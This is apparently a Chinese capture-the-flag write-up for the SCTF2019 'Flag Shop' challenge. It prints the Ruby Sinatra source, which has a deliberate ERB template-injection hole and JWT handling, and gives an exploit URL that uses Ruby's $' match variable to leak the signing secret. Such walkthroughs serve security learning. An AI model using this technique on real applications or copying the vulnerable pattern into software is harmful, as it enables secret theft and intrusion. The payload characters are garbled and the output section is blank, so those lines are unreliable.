[SCTF2019]Flag Shop

[SCTF2019]Flag Shop

解题

  1. 使用robots.txt,看到/static/secretkey.txt,但是源码在filebak中,不知道为什么

    ruby 复制代码
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    ENV["SECRET"] = SecureRandom.hex(64)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      en
    end
  2. 语法为Ruby的语法所以思路为Ruby模版注入。

    ruby 复制代码
      if params[:do] == "#{params[:name][0,7]} is working" then
     
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    发现secret的输出方式,其中ruby预定义变量里,在$'后会最后一次匹配字符串,所以进入代码后is working不被ruby代码解析,然后使用ERB模版进行注入。

    所以传入/work?SECRET=&name=<%= ′ '%>&do=<%= ′'%>is working

    得到:

    构造后,

将jwt解码得到flag

相关推荐
吃好睡好便好6 分钟前
在Matlab中绘制二维等高线图
开发语言·人工智能·学习·算法·matlab
xian_wwq13 分钟前
【学习笔记】探讨大模型应用安全建设系列——顶层规划:如何推动公司级大模型安全建设-1
笔记·学习·安全·ai
Lucky_ldy1 小时前
C语言学习:自定义类型-结构体
c语言·开发语言·学习
X7x51 小时前
移动设备管理(MDM):企业数字化转型的安全基石
网络安全·网络攻击模型·安全威胁分析·安全架构·mdm
2301_792674861 小时前
java学习(day34)
java·开发语言·学习
txg6661 小时前
网络安全领域简报(2026年5月9日—5月16日)
安全·web安全
lizhihai_991 小时前
股市学习心得-量比的作用
大数据·人工智能·学习
山岚的运维笔记1 小时前
Bash 专业人员笔记 -- 第 11 章:`true`、`false` 和 `:` 命令
linux·运维·服务器·开发语言·笔记·学习·bash
汉堡包0011 小时前
【网安干货】--调用外部链接如何防御风险
安全·网络安全
Honker_yhw1 小时前
大数据管理与应用系列丛书《数据挖掘》(吕欣等著)读书笔记-偏相关分析
笔记·学习